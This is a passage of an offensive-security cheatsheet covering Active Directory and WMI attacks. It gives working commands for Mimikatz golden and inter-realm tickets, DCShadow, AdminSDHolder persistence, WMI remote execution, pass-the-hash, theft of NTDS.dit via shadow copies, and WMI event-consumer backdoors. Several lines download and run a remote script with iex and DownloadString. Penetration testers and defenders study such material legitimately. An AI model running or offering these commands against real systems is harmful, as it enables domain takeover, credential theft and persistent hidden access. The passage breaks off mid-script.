mimilib to `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` : ```powershell $packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages' $packages += "mimilib" Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name 'Security Packages' -Value $packages ``` All local logons on the DC are logged to `C:\Windows\system32\kiwissp.log` ### DACLs - AdminSDHolder AdminSDHolder is a solution that compares the ACLS of the objects with `AdminCount=1` with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour. #### Attack * With write privs on the AdminSDHolder object, it can be used for persistence by adding a user with Full Permissions to the AdminSDHolder object for example. * When the automatic script will run, the user will be added with Full Control to the AC of groups like Domain Admins. ```powershell #PowerView Add-ObjectAcl -TargetSearchBase 'CN=AdminSDHolder,CN=System' -PrincipalIdentity user1 -Rights All -Verbose #AD Module Set-ADACL -DistinguishedName 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Principal user1 -Verbose ``` #### Run SDProp manually ```powershell Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose #Pre-Server 2008 Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose ``` #### Check Domain Admins DACLs ```powershell #PowerView Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'} #AD Module (Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=domain,DC=local').Access | ?{$_.IdentityReference -match 'user1'} ``` ### DACLs - Interesting rights The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the `On any objects` in the ACLs attacks section. Multiple rights like **All**, **DCSync**, etc, are possible. ### DACLs - Security Decriptors ACLs can be modified to allow users to access objects. #### WMI ```powershell #On local machine Set-RemoteWMI -UserName user1 -Verbose #On remote machine without explicit credentials Set-RemoteWMI -UserName user1 -ComputerName -namespace 'root\cimv2' -Verbose #On remote machine with explicit credentials. Only root\cimv2 and nested namespaces Set-RemoteWMI -UserName user1 -ComputerName -Credential Administrator -namespace 'root\cimv2' -Verbose #On remote machine remove permissions Set-RemoteWMI -UserName user1 -ComputerName -namespace 'root\cimv2' -Remove -Verbose ``` #### PowerShell Remoting ```powershell #On local machine Set-RemotePSRemoting -UserName user1 -Verbose #On remote machine without credentials Set-RemotePSRemoting -UserName user1 -ComputerName -Verbose #On remote machine, remove the permissions Set-RemotePSRemoting -UserName user1 -ComputerName -Remove ``` #### Remote Registry With the scripts from **DAMP-master**. Permits to realize some actions like credentials dump via the registry. ## Cross-Trust Movement ### Child to parent domain Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the **Enterprise Admins** group in the SID history field. #### With the trust key Get the trust key, look at the `[in]` value in the result ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc #OR Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\parentDomain$"' ``` Forge the referral ticket : ```powershell Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /sids:- /rc4: /service:krbtgt /target:parentDomain.local /ticket:trust.kirbi"' ``` Request a ST with the previous TGT and access service : ```powershell #New tools for more fun .\asktgs.exe trust.kirbi CIFS/dc.parentDomain.local .\kirbikator.exe lsa .\CIFS.dc.parentDomain.local.kirbi ls \\dc.parentDomain.local\c$ #Or classicaly .\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/dc.parentDomain.local /dc:dc.parentDomain.local /ptt ls \\dc.parentDomain.local\c$ ``` #### With the krbtgt hash Exactly the same attack, but with the krbtgt hash that can be extracted like this : ```powershell Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ``` To avoid some suspicious logs, use multiple values can be added in SID History : ```powershell Invoke-Mimikatz -Command '"kerberos::golden /user:dc$ /domain:domain.local /sid: /groups:516 /sids:-516,S-1-5-9 /krbtgt: /ptt"' Invoke-Mimikatz -Command '"lsadump::dcsync /user:parentDomain\Administrator /domain:parentDomain.local"' ``` * `-516` – Domain Controllers * `S-1-5-9` – Enterprise Domain Controllers ### Across forest #### SID History attacks If there is no SID filtering, it is possible to specify any privileged SID of the target forest in the SID History field. Otherwise, with partial filtering, an **RID > 1000** must be indicated. * Get the Trust Key ```powershell Invoke-Mimikatz -Command '"lsadump::trust /patch"' #Or Invoke-Mimikatz -Command '"lsadump::lsa /patch"' ``` * If **no filtering** : forge a referral ticket or an inter-realm Golden Ticket and request for a ST ```powershell #Referral ticket with the Trust Key Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /sids:- /rc4: /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"' #Inter-realm Golden Ticket with krbtgt, with pass-the-ticket Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.local /sid: /sids:- /krbtgt: /ptt"' #For a specific user different than the Administrator (not RID 500) Invoke-Mimikatz -Command '"kerberos::golden /user:user1 /domain:domain.local /sid: /id: /rc4: /service:krbtgt /target:targetDomain.local /ticket:trust_forest.kirbi"' ./Rubeus.exe asktgs /ticket:trust_forest.kirbi /service:cifs/dc.targetDomain.local /dc:dc.targetDomain.local /ptt ``` * If **there is SID filtering**, same thing as above but with **RID > 1000** (for example, Exchange related groups are sometimes highly privileged, and always with a RID > 1000). Otherwise, get the `foreignSecurityPrincipal`. These users of the current domain are also members of the trusting forest, and they can be members of interesting groups: ```powershell #These SIDs are members of the target domain Get-DomainObject -Domain targetDomain.local | ? {$_.objectclass -match "foreignSecurityPrincipal"} #The found SIDs can be search in the current forest Get-DomainObject |? {$_.objectSid -match ""} ``` Then, it is possible to forge an referral ticket for this user and access the target forest with its privileges. #### TGT delegation By default, Domain Controllers are setup with Unconstrained Delegation (which is necessary in an Active Directory to correctly handle the Kerberos authentications). If TGT delegation is **enabled** in the trust attributes, it is possible to coerce the remote Domain Controller authentication from the compromised Domain Controller, and retrieve its TGT in the ST. If TGT delegation is **disabled**, the TGT will not be added in the ST, even with the Unconstrained Delegation. Additionally, **Selective Authentication must not be enabled** on the trust, and a two ways trust is needed. How to exploit an [Unconstrained Delegation](https://hideandsec.sh/books/cheatsheets-82c/page/active-directory#bkmrk-unconstrained-delega-0). #### Transit across non-transitive trusts If a **non-transitive** trust is setup between domains from two different forests (domain A and B for example), users from domain A will be able to access resources in domain B (in case that B trusts A), but will not be able to access resources in other domains that trust domain B (for example, domain C). Non-transitive trusts are setup by default on **External Trusts** for example. However, there is a way to make non-transitive trusts transitive. Full explains [here](https://exploit.ph/external-trusts-are-evil.html). For this example, there is an **External Trust** between domains A and B (which are in different forests), there is a **Within Forest** trust between domains B and C (which are in the same forest), and a **Parent-child** trust between domains C and D (so, they are in the same forest). We have a user (userA) in domain A, and we want to access services in domain D, which is normally impossible since **External Trusts** are non-transitive. * First, obtain a TGT for userA in his **domain A** ```powershell ./Rubeus.exe asktgt /user:userA /password:password /nowrap ``` * Then, request a referral for the **domain B** with the previously obtained TGT (for the moment, everything is normal). This referral can be used to access resources in **domain B** as userA ```powershell ./Rubeus.exe asktgs /service:krbtgt/domainB.local /ticket: /dc:dc.domainA.local /nowrap ``` * With this referral, it is not possible to request for a ST in **domain C** since there is no transitivity. However, it is possible to use it to ask for a "local" TGT in domain B for userA. This will be a valid TGT in domain B and not a referral between A and B ```powershell ./Rubeus.exe asktgs /service:krbtgt/domainB.local /targetdomain:domainB.local /ticket: /dc:dc.domainB.local /nowrap ``` * Now, this TGT can be reused to ask for a referral to access **domain C**, still from **domain A with user A** ```powershell ./Rubeus.exe asktgs /service:krbtgt/domainC.local /targetdomain:domainB.local /ticket: /dc:dc.domainB.local /nowrap ``` This referral for **domain C** can be, in turn, used to access **domain D** with the same technique, and so on. This attack permits to pivot between all the trusts (and consequently the domains) in the same forest from a domain in a external forest. However, it is not possible to directly use this technique to access a domain in another forest that would have a trust with **domain D**. For example, if **domain D** has an **External Trust** with **domain E** in a third forest, it will be not possible to access domain E from A. A valid workaround is to use the referral for domain D to request a ST for LDAP in domain D, and use it to create a machine account. This account will be valid in domain D and will be used to restart the attack from domain D (like with user A) and access domain E. ```powershell ./Rubeus.exe asktgs /service:ldap/domainD.local /ticket: /dc:dc.domainD.local /ptt New-MachineAccount -MachineAccount machineDomainD -Domain domainD.local -DomainController dc.domainD.local #Then, ask for a TGT and replay the attack against domain E ``` ### Across forest - PAM trust The goal is to compromise the **bastion** forest and pivot to the **production** forest to access to all the resources with a **Shadow Security Principal** mapped to a high priv group. #### Check if the current forest is a bastion forest * Enumerate trust properties ```powershell Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)} ``` * Enumerate shadow security principals ```powershell Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) | select Name,member,msDS-ShadowPrincipalSid | fl ``` * `Name` - Name of the shadow principal * `member` - Members from the bastion forest which are mapped to the shadow principal * `msDS-ShadowPrincipalSid` - The SID of the principal (user or group) in the user/production forest whose privileges are assgined to the shadow security principal. In our example, it is the Enterpise Admins group in the user forest These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with `SIDHistory` injection since `SIDFiltering` is disabled in a **PAM Trust**. #### Check if the current forest is managed by a bastion forest ```powershell Get-ADTrust -Filter {(ForestTransitive -eq $True)} ``` A trust attribute of `1096` is for PAM (`0x00000400`) + External Trust (`0x00000040`) + Forest Transitive (`0x00000008`). ### SCCM Hierarchy takeover In case an organisation has multiple SCCM primary sites dispersed between different domains, it has the possibility to setup a **Central Administration Site** to administrate all the sites from one "top" site server. If it the case, by default the CAS will automatically replicate all the SCCM site admins between all the sites. This means, if you have takeover one site and added a controlled user as SCCM site admin, he will be automatically added as a site admin on all the other site by the CAS, and you can use him to pivote between the sites. Full explains [here](https://medium.com/specter-ops-posts/sccm-hierarchy-takeover-41929c61e087). ### MSSQL server Everything is here. (*Not for the moment, refactor in progress*) ## Forest Persistence - DCShadow * DCShadow permits to create a rogue Domain Controller on a standard computer in the AD. This permits to modify objects in the AD without leaving any logs on the real Domain Controller * The compromised machine must be in the **root domain** on the forest, and the command must be executed as DA (or similar) The attack needs 2 instances on the compromised machine and **Mimikatz**. * One to start RPC servers with SYSTEM privileges and specify attributes to be modified ```batch #With Mimikatz #Set SYSTEM privs to the process !+ !processtoken #Launch the server lsadump::dcshadow /object: /attribute: /value= ``` * And second with enough privileges (DA or otherwise) to push the values : ```batch sekurlsa::pth /user:Administrator /domain:domain.local /ntlm: /impersonate lsadump::dcshadow /push ``` ### Minimal permissions DCShadow can be used with [minimal permissions](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcshadow#dcshadow) (and [this](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)) by modifying ACLs of : * The domain object. * DS-Install-Replica (Add/Remove Replica in Domain) * DS-Replication-Manage-Topology (Manage Replication Topology) * DS-Replication-Synchronize (Replication Synchornization) * The Sites object (and its children) in the Configuration container. * CreateChild and DeleteChild * The object of the computer which is registered as a DC. * WriteProperty (Not Write) * The target object. * WriteProperty (Not Write) `Set-DCShadowPermissions` can be used to setup automatically To use DCShadow as user **user1** to modify **user2** object from machine **machine-user1** ```powershell Set-DCShadowPermissions -FakeDC machine-user1 -SAMAccountName user2 -Username user1 -Verbose ``` Now, the **second mimkatz** instance (which runs as DA) is not required. ### Set interesting attributes #### Set SIDHistory to Enterprise Admin ```batch lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:-519 ``` #### Modify primaryGroupID ```batch lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519 ``` #### Modify ntSecurityDescriptor for AdminSDHolder to add Full Control for a user We just need to append a Full Control ACE from above for SY/BA/DA with our user's SID at the end. ```powershell #Read the current ACL of high priv groups (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=domain,DC=local")).psbase.ObjectSecurity.sddl ``` Get the SID of our user and append it at the end of the ACLs. Then launch DCShadow like this : ```batch lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=domain,DC=local /attribute:ntSecurityDescriptor /value: ``` #### Set a SPN on an user ```batch lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1" ``` ### Shadowception We can even run DCShadow from DCShadow, which is [_Shadowception_](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/dcshadow#shadowception-give-dcshadow-permissions-using-dcshadow-no-modified-permissions-logs) (and [still this](http://www.labofapenetrationtester.com/2018/04/dcshadow.html)). We need to append following ACEs with our user's SID at the end: * On the domain object: `(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)`\ `(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)`\ `(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)` * On the attacker computer object: `(A;;WP;;;UserSID)` * On the target user object: `(A;;WP;;;UserSID)` * On the Sites object in Configuration container: `(A;CI;CCDC;;;UserSID)` #### Get the ACLs Get the ACLs for the Domain Object : ```powershell (New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=domain,DC=local")).psbase.ObjectSecurity.sddl ``` For the attacker machine : ```powershell (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=machine-user1,CN=Computers,DC=domain,DC=local")).psbase.ObjectSecurity.sddl ``` For the target user : ```powershell (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=user2,CN=Users,DC=domain,DC=local")).psbase.ObjectSecurity.sddl ``` For the Site Container : ```powershell (New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Sites,CN=Configuration,DC=domain,DC=local")).psbase.ObjectSecurity.sddl ``` #### Stack the queries After have get the ACLs and have appended the new ACEs for each one, we can stack the different queries to make a big DCShadow query\ For each one : ```batch lsadump::dcshadow /stack /object: /attribute:ntSecurityDescriptor /value: ``` Then just `lsadump::dcshadow` DCShadow can now be run from a user DCShadow-ed. ## References * [The Hacker Recipes](https://www.thehacker.recipes) * [Pentester Academy](https://www.pentesteracademy.com) * [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) * [InternalAllTheThings](https://swisskyrepo.github.io/InternalAllTheThings/) * [Pentestlab.blog](https://pentestlab.blog/) * [HackTricks](https://book.hacktricks.xyz/welcome/readme) * [Haax](https://cheatsheet.haax.fr/) * [Red Teaming Experiments](https://www.ired.team) * [SpecterOps](https://posts.specterops.io) * [MDSec](https://www.mdsec.co.uk/knowledge-centre/research/) * [BloodHound](https://bloodhound.readthedocs.io/en/latest/index.html) * [Cube0x0](https://cube0x0.github.io) * [Dirk-jan Mollema](https://dirkjanm.io) * [Snovvcrash](https://ppn.snovvcrash.rocks) * [Exploit.ph](https://exploit.ph/) * [Adam Chester](https://blog.xpnsec.com/) * [Olivier Lyak](https://medium.com/@oliverlyak) * [Wagging the Dog](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html) * [Masky release](https://z4ksec.github.io/posts/masky-release-v0.0.3/) * [Active Directory Spotlight](https://www.securesystems.de/blog/active-directory-spotlight-attacking-the-microsoft-configuration-manager/) * [LDAP Pass back](https://www.acceis.fr/ldap-pass-back-attack/) * [SOAPHound](https://falconforce.nl/soaphound-tool-to-collect-active-directory-data-via-adws/) * [ThievingFox](https://blog.slowerzs.net/posts/thievingfox/) * [Hack The Box](https://www.hackthebox.com/) # WMI

This cheatsheet is built from numerous papers, GitHub repos and GitBook, blogs, HTB boxes and other resources found on the web or through my experience. I will try to put as many links as possible at the end of the page to direct to more complete resources.

If you see a missing resource, a reference, or a copy right, please immediatly contact me on Twitter : @BlWasp_

If WMI is blocked in your environment, you can try to use CIM commands with WS-MAN.

The idea of this cheatsheet is to provide some commands with titles without lots of explains. If you need more explains about these attacks you can, for example, buy the WMI course from Pentester Academy. More references will be specified at the end.

Misc

Get the commands

Get-Command -CommandType cmdlet *wmi*
Get-Command -CommandType cmdlet *cim*

Useful Windows Utility

  • Sapien WMI Explorer - Browse, generate queries and more

  • WMI Code Creator - Generate WMI queries in VBScript, C# and VB.Net

  • WMIGen.exe - Generate WMI queries in many languages

  • Wbemtest.exe

  • PowerShell WMI Explorer - Script which can generate WMI code samples from GUI

Enumeration

Exploring Namespaces

Enumerate all namespaces

Get-WmiObject -Namespace "root" -Class "_Namespace" | select Name
Get-CimInstance -Namespace "root" -Class "_Namespace" | select Name

Nested namespaces

#From powershellmagazine 2013
Get-WmiNamespace.ps1

Exploring Classes

Classes are items in the namespaces

Get-WmiObject -List
Get-WmiObject -Class *bios* -List
Get-WmiObject -NameSpace "root/default" -List
Get-CimClass -List

Get only the dynamic classes (to query them after)

Get-CimClass -QualifierName dynamic

Information about a class

Get-WmiObject -Class Win32_BIOS #Exact name
Get-CimInstance -ClassName Win32_BIOS

Filter

Get-WmiObject -Class Win32_process | Where-Object {$._Name -eq "explorer.exe"}

Remove Objects

Get-WmiObject -Class Win32_process | Where-Object {$._Name -eq "explorer.exe"} | Remove-WmiObject

Exploring Methods

Get-WmiObject * -List | Where-Object {$._Methods}

Get all methods

Get-CimClass -MethodName *

Get all class with a method

Get-CimClass -MethodName Create

Get methods of a class

Get-WmiObject -Class win32_process -List | select -ExpandProperty methods

Get parameters for a method

Get-CimClass -ClassName win32_process | select -ExpandProperty CimClassMethods | where name -eq "Create" | select -ExpandProperty Parameters

Using methods

Create executable

We can create executable with Create methods from win32_process

Invoke-WmiMethod -Class win32_process -Name Create -ArgumentListe @(calc.exe)
Invoke-CimMethod -ClassName win32_process -Name Create -Arguments @{commandline = "calc.exe"}

Modify instance

Useful to modify writable properties of WMI objects

Get-WmiObject -Class win32_Printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-WmiInstance -Arguments @{Comment = "WMI Coucou"}
Get-CimInstance -ClassName win32_Printer -Filter "Name = 'Microsoft XPS Document Writer'" | Set-CimInstance -Property @{Comment = "CIM Coucou"}

Associations

There are relations between WMI classes which can be used to retrieve information about managed objects

By running, for example, Get-WmiObject -Class win32_NetworkAdaptater | fl * we can retrieve the __RELPATH property, which can be used to list associations

Associators Of

Get all instances from all the associated classes

#DeviceID is the RELPATH
Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11}"

Look only at the associated class definition

Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11} Where ClassDefsOnly"

Can also be done with Get-CimAssociatedInstance

Retrieve instance of a single associated class

Get-WmiObject -Query "Associators of {win32_NetworkAdaptater.DeviceID=11} Where AssocClass=win32_ProtocolBinding"

If there is no output, try to change DeviceID value

References Of

There is some classes that make links between other classes

List

Get-WmiObject -Query "References of {win32_NetworkAdaptater.DeviceID=11} Where ClassDefsOnly"

WMIC

WMI command line, outdated by PowerShell cmdlet

wmic
>/? #Run help
>process /? #get help on process class

Can take multiple verbs to call, create, delete, list, etc

Some examples :

Groups

>group where name='Administrator' assoc

Get process name

>process get name

Spawn a new process on a target

wmic /node:10.0.0.6 /user:administrator process call create "cmd.exe /c calc"

Missing patches

Look at missing patches on the box

wmic qfe list

Remote Computers

We need admin privs on the target machine
If the WMI or the RPC port don't work, we can use CIM cmdlet

Retrieve remote objects

Get-WmiObject -Class win32_OperatingSystem -ComputerName 192.168.1.1 -Credential contoso\john

Create a CIM session

$sess = New-CimSession -ComputerName 192.168.1.1 -Credential contoso\john
Get-CimInstance -CimSession $sess -ClassName win32_OperatingSystem

Force DCOM use

$sessionoptions = New-CimSessionOption -Protocol Dcom
$newsession = New-CimSession -SessionOption $sessionoptions -ComputerName 192.168.1.1 -Credential contoso\john

Interact with Windows Registry

Present in the root\default namespace

Get-WmiObject -Namespace "root\default" -Class StdRegProv -List | select -ExpandProperty Methods
#Or
$reg = Get-WmiObject -Namespace "root\default" -Class StdRegProv -List
$reg.methods

Retrieve typed Internet Explorer URL

In the registry key HKCU:\software\microsoft\internet explorer\typeurls

Get all the properties

#2147483649 = HKCU
Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name EnumKey @(2147483649,"software\microsoft\internet explorer") | select -ExpandProperty sNames

Get the values

Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1")
#Or
$reg.GetStringValue(2147483649,"software\microsoft\internet explorer\typedurls","url1")

On remote computer

Invoke-WmiMethod -Namespace root\default -Class StdRegProv -Name GetStringValue @(2147483649,"software\microsoft\internet explorer\typedurls","url1") -ComputerName 192.168.1.1 -Credential contoso\john

WMI for Red Team

  • Enable on all Windows by default

  • Generally not well monitored, or absolutly not

  • Mix really well with traffic

  • Provide SYSTEM execution

  • Execution persistence across reboot

Standard information gathering

Lots of interesting information can be extracted

win32_IP4RouteTable
win32_UserAccount
win32_Group
win32_ShadowCopy #To gather some secrets
StdRegProv #For registry information

By running win32_UserAccount from a Domain Machine, it's possible to retrieve all the local accounts, but also the domain accounts, and the accounts from all the domains and forests which have bidirectionnal trusts with us !

Same thing with win32_Group

Invoke-SessionGopher

  • Identify admin jump-box and computers used to access Unix machines

  • Information extract for Putty and RDP and can decrypt creds for WinSCP from registry

  • Uses WMI to extract info from admin registry

Extract information from local box

Invoke-SessionGopher -Verbose

From remote box

Invoke-SessionGopher -ComputerName 192.168.1.1 -Credential contoso\john

From all domain

Invoke-SessionGopher -Credential contoso\john -AllDomain

To exclude the DC to limit detection

Invoke-SessionGopher -Credential contoso\john -AllDomain -ExcludeDC

With thorough mode

Can retrieve Putty private keys (.ppk), RFP file (.rdp) and RSA keys (.stdid)

Invoke-SessionGopher -Thorough

Active Directory information gathering

  • WMI can be used for AD enumeration

  • root\directory\ldap namespace can be used

  • Class prefixed with ads_are abstract, with ds_they are dynamic

Get the current domain

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select -ExpandProperty ds_dc

Current domain policy

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | select DS_lockoutDuration, DS_lockoutObservationWindow, DS_lockoutThreshold, DS_maxPwdAge, DS_minPwdAge, DS_minPwdLength, DS_pwdHistoryLength, DS_pwdProperties

Get the current DC

Get-WmiObject -Namespace root\directory\ldap -Class ds_domain | Where-Object {$_.ds_UserAccountControl -eq 532480} | select ds_cn

Domain user accounts

Get-WmiObject -Class win32_UserAccount
Get-WmiObject -Class win32_UserAccount | select name
Get-WmiObject -Class win32_UserAccount -Filter "Domain = 'contoso'"

Domain groups

Get-WmiObject -Class win32_Group
#Groups from another domain
Get-WmiObject -Class win32_GroupInDomain | Where-Object {$._GroupComponent -match "childone"} | Foreach-Object {[wmi]$._PartComponent}

Group memberships

Get-WmiObject -Class win32_GroupUser | Where-Object {$._GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$._PartComponent}

#For a specific domain
Get-WmiObject -Class win32_GroupUser | Where-Object {$._GroupComponent -match "childone" -and $._GroupComponent -match "Domain Admins"} | Foreach-Object {[wmi]$._PartComponent}

Group membership of a particular user

Get-WmiObject -Class win32_GroupUser | Where-Object {$._PartComponent -match "john"} | Foreach-Object {[wmi]$._GroupComponent}

Get all domain computers

Get-WmiObject -Namespace root\directory\ldap -Class ds_computer
Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn

Check admin access

By default, WMI can only run remote command on a machine if we have admin rights on it
By trying to run a simple command on all the domain machine, we can check if we have any admin privs on them

#Get the computer list
$computers = Get-WmiObject -Namespace root\directory\ldap -Class ds_computer | select -ExpandProperty ds_cn

#For each one, try to access to win32_ComputerSystem
foreach($computer in $computers) {
    (Get-WmiObject win32_ComputerSystem -ComputerName $computer).Name
}

Lateral Movement

Information storage

WMI can be useful to store information like shellcode, instructions, registry, etc

  • To receive a file or save info to a file

Get-InfoWmi -Outfile C:\tmp\evil.ps1
  • To send data from the target to the attacker box
Send-InfoWmi -DatatoSend (Get-Process) -ComputerName 192.168.1.2 -Username Administrator
  • To transfer a file
Send-InfoWmi -FiletoSend C:\tmp\evil.ps1 -ComputerName 192.168.1.2 -Username Administrator

Command execution - win32_service

It's possible to start a process or a script with WMI on a machine

  • Create a service
$ServiceType = [byte] 16
$ErrorControl = [byte] 1
Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\calc.exe",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM",""

Arguments

Definitions

$false

DesktopInteract

"Windows Performance"

DisplayName

$ErrorControl

User is notified

$null

LoadorderGroup

$null

LoadorderGroupDependencies

"WinPerf"

Name

"C:\Windows\System32\calc.exe"

PathName

$null

ServiceDependencies

$ServiceType

Own process

'Manual"

StartMode

"NT AUTHORITY\SYSTEM"

StartName

""

StartPassword

  • Start the service
Get-WmiObject -Class win32_Service -Filter 'Name = "WinPerf"' | Invoke-WmiMethod -Name StartService
  • Remove the service
Get-WmiObject -Class win32_Service -Filter 'Name = "WinPerf"' | Remove-WmiObject

Abuse command execution

Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell -e <Base64EncodedScript>",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName 192.168.1.1 -Credential contoso\john

#With iex
Invoke-WmiMethod -Class win32_Service -Name Create -ArgumentList $false,"Windows Performance",$errorcontrol,$null,$null,"WinPerf","C:\Windows\System32\cmd.exe /c powershell iex (New-Object Net.WebClient).DownloadString('http://IP/evil.ps1')",$null,$ServiceType,"Manual","NT AUTHORITY\SYSTEM","" -ComputerName 192.168.1.1 -Credential contoso\john

Pass The Hash

With Invoke-WMIExec it's possible to realise a Pass The Hash with WMI

Invoke-WmiExec -target ws01 -hash 32ed87bd5fdc5e9cba88547376818d4 -username administrator -command hostname

The RID of the target user must be at 500
If not (not a builtin admin), the privileges will be stripped during the token creation

The solution is to setup this registry key at 0x1 on the machine

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy

Backdoors with WMI

Custom WMI Provider

Invoke-WmiMethod -Class win32_NetConnection -Name RunPS -ArgumentList "Get-Host"

To execute a PowerShell script:

Invoke-WmiMethod -Class win32_NetConnection -ComputerName 192.168.1.1 -Credential contoso\john -Name RunPS -ArgumentList "iex (New-Object Net.WebClient).DownloadString('http://IP/evil.ps1')"
#Execute Shell Code
Invoke-WmiMethod -Class win32_Evil -Name ExecShellCode -ArgumentList @(0x90, 0x90, 0x90), $null

DCSync with WMI

Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy

Create a shadow copy of the DC C:\ drive

wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c vssadmin create shadow /for=C: 2>&1"

Copy NTDS.dit, SYSTEM and SECURITY hive

wmic /node:dc01 /user:administrator@offense /password:123456 process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\temp\"

Mount the new drive

net use j: \\dc01\c$\temp /user:administrator 123456; dir j:\

The files will be in J:\ on the DC

Bypass Parent / Child process detection

Bypassing Parent Child / Ancestry Detections

WMI Events

WMI has an infrastructure which provides the capability of respond and receive notifs when system changes happen (user logon, process creation...)

  • Consumer : consume the events, can be temporary or permanent

    • Temporary : run as long the app is running

    • Permanent : run everytime, persistent across reboots, run as SYSTEM

Event types :

  • Intrinsic : events which triggered on a change in WMI standard, for example a new instance of win32_LogicalDisk

  • Extrinsic : events which are defined by the user, for example computer shutdown

Permanent Event Consumers

  • Filter : the target event

  • Consumer : action to do when event occurs

  • Binfing : relationship between filter and consumer

List consumers

$namespaces = Get-WmiNamespaces
foreach ($ns in $namespaces) {Get-WmiObject -Namespace $ns -List | where {$_.__SUPERCLASS -eq 'EventConsumer'}}

Class

Description

ActiveScriptEventConsumer

Executes a predefined VBScript or Jscript

CommandLineEventConsumer

Launches a process winth SYSTEM privileges

LogFileEventConsumer

Write data to a log file

NTEventLogEventConsumer

Logs a message to the Windows event log

SMTPEventConsumer

Sends an email using SMTP

 

Persistence

In a Red Team objective, ActiveScriptEventConsumer and CommandLineEventConsumer are the most useful

ActiveScriptEventConsumer

To run a VBScript with the $VBScript variable
$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
$consumerPath = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{name=$filterName; ScriptFileName=$VBSFile; ScriptingEngine="VBScript"}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filterPath; Consumer=$consumerPath} |  out-null

CommandLineEventConsumer

To run a PowerShell script with the $Payload variable

$query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
$filterPath = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{name=$filterName; EventNameSpace=$filterNS; QueryLanguage="WQL"; Query=$query}
